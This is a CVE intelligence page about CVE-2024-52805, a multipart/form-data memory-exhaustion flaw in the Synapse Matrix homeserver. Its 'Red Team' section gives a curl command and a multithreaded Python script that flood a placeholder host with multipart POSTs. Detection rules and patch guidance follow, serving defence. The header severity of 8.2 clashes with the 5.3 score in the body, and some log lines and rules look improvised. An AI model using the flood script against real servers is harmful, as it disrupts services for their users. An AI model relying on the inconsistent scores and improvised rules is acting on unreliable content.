☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.2 🐛 CWE-770
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-52805

CVE-2024-52805 Denial of Service in Synapse
📅 PUBLISHED: 2024-12-03 17:01 UTC 🔄 UPDATED: 2026-10-02 19:27 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.74%
👁️
0.74% probability
18.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-52805 is a denial-of-service (DoS) vulnerability in Synapse, the open-source Matrix homeserver. The flaw resides in how Synapse handles multipart/form-data requests. In certain configurations, processing these requests can transiently increase memory consumption beyond expected levels, allowing an attacker to amplify DoS attacks. The vulnerability is unauthenticated and remotely exploitable, requiring no special privileges. The official fix in Synapse 1.120.1 denies requests with unsupported multipart/form-data content types, effectively blocking the attack vector.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Synapse is a Python-based project distributed via PyPI. The vulnerability affects the core server logic, not a specific dependency. However, organizations using Synapse should verify their deployment's integrity and ensure no malicious packages have been introduced. The patch is available in the official PyPI package matrix-synapse version 1.120.1.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: None (I:N)
  • Availability Impact: Low (A:L)

Threat Level: Medium. While the impact is limited to availability, the low attack complexity and lack of authentication make it a viable vector for resource exhaustion attacks, especially in environments with limited memory.

Deep Dive & Mechanics

The vulnerability is rooted in how Synapse's HTTP server parses multipart/form-data requests. When a request with an unsupported or malformed multipart content type is received, the server may allocate memory to buffer the request body before fully validating the content type. In certain configurations (e.g., when using certain reverse proxies or when the server is under load), this can lead to transient memory spikes that degrade performance or cause the service to become unresponsive.

The core issue is a lack of early validation of the Content-Type header. The server should reject unsupported multipart types before allocating significant resources. The fix in 1.120.1 adds a check at the request parsing stage to deny requests with unsupported multipart/form-data content types, preventing the memory allocation from occurring.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# In request handler, before 1.120.1
def handle_request(request):
    content_type = request.headers.get("Content-Type", "")
    if "multipart/form-data" in content_type:
        # Allocate memory to parse the body before checking if supported
        body = request.body.read()
        # Process multipart data (may be unsupported)
        process_multipart(body)

Patched Code (Conceptual):

# In request handler, after 1.120.1
def handle_request(request):
    content_type = request.headers.get("Content-Type", "")
    if "multipart/form-data" in content_type:
        # Early validation: reject unsupported types
        if not is_supported_multipart(content_type):
            raise HTTPError(400, "Unsupported media type")
        body = request.body.read()
        process_multipart(body)

The patched version adds an early check (is_supported_multipart) that denies the request before any significant memory allocation occurs.

Exploitation & Lab Setup

Red Team

Objective: Amplify a denial-of-service attack against a Synapse server (version < 1.120.1).

Prerequisites:

  • Target Synapse server accessible over the network.
  • No authentication required for the vulnerable endpoint.

Exploitation Steps:

  1. Identify the target: Use Shodan or manual scanning to find Synapse servers.
  2. Craft a malicious request: Send a POST request with a Content-Type header containing multipart/form-data but with an unsupported boundary or malformed structure.
  3. Amplify the attack: Send multiple concurrent requests to exhaust server memory.

Example curl command:

curl -X POST https://target.example.com/_matrix/client/v3/login \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
  --data-binary @/dev/zero

Note: The exact endpoint may vary. The key is to send a multipart request to any endpoint that triggers the vulnerable parsing logic.

Automation Script (Python):

import requests
import threading

def attack(target):
    while True:
        try:
            requests.post(
                f"https://{target}/_matrix/client/v3/login",
                headers={"Content-Type": "multipart/form-data; boundary=boundary"},
                data=b"A" * 1024 * 1024  # 1 MB payload
            )
        except:
            pass

target = "target.example.com"
threads = []
for _ in range(50):
    t = threading.Thread(target=attack, args=(target,))
    t.start()
    threads.append(t)

Blue Team

Detection:

  • Monitor for a high volume of multipart/form-data requests with unusual or malformed boundaries.
  • Watch for memory usage spikes correlating with HTTP 400 errors (if the server is patched) or slow responses.

Mitigation:

  • Apply the patch by upgrading to Synapse 1.120.1.
  • If immediate patching is not possible, deploy a WAF rule to block requests with unsupported multipart content types.

WAF Rule (ModSecurity example):

SecRule REQUEST_HEADERS:Content-Type "@contains multipart/form-data" \
    "id:1001,phase:1,deny,status:400,msg:'Blocked unsupported multipart request'"

Indicators of Compromise (IOCs)

  • Network IOCs:

    • High volume of POST requests with Content-Type: multipart/form-data to Synapse endpoints.
    • Requests with unusually large payloads (e.g., >1 MB) in multipart bodies.
    • HTTP 400 responses from the server after patching (indicating blocked attempts).
  • System IOCs:

    • Elevated memory usage in the Synapse process (synapse.app.homeserver).
    • Log entries containing "Unsupported media type" or "400 Bad Request" related to multipart parsing.
  • Log Patterns:

    WARNING - synapse.http.server - Unsupported multipart/form-data content type
    ERROR - synapse.util.http - Memory allocation exceeded threshold
    

Detection Engineering

YARA Rule

rule CVE_2024_52805_Multipart_DoS {
    meta:
        description = "Detects malicious multipart/form-data requests targeting Synapse CVE-2024-52805"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-52805"
    strings:
        $multipart = "multipart/form-data" nocase
        $boundary = "boundary=" nocase
        $large_payload = { 00 00 00 00 00 00 00 00 } // Placeholder for large payload detection
    condition:
        $multipart and $boundary and #large_payload > 1000
}

Sigma Rule

title: CVE-2024-52805 Synapse Multipart DoS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-52805 by sending unsupported multipart/form-data requests to Synapse.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: synapse
detection:
    selection:
        cs-method: 'POST'
        cs-content-type: 'multipart/form-data*'
        sc-status: 400
    condition: selection
falsepositives:
    - Legitimate multipart uploads (rare in Synapse)
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-52805 Synapse Multipart DoS Attempt";
    flow:to_server;
    content:"multipart/form-data"; http_header;
    content:"boundary="; http_header;
    pcre:"/Content-Length:\s*\d{7,}/"; # Payload > 1MB
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Synapse to version 1.120.1 or later.
  2. Restart the service after upgrade to ensure the fix is applied.

Compensating Controls (if patching is delayed):

  • Deploy a Web Application Firewall (WAF) to block requests with unsupported multipart content types.
  • Rate-limit incoming requests to reduce the impact of amplification.
  • Monitor memory usage and set alerts for abnormal spikes.

Long-term Recommendations:

  • Implement input validation for all HTTP headers, especially Content-Type.
  • Use resource limits (e.g., ulimit, cgroups) to prevent memory exhaustion.
  • Regularly review and update dependencies.

Patch Verification:

# Check Synapse version
pip show matrix-synapse | grep Version
# Expected output: Version: 1.120.1 or higher

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-52805/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.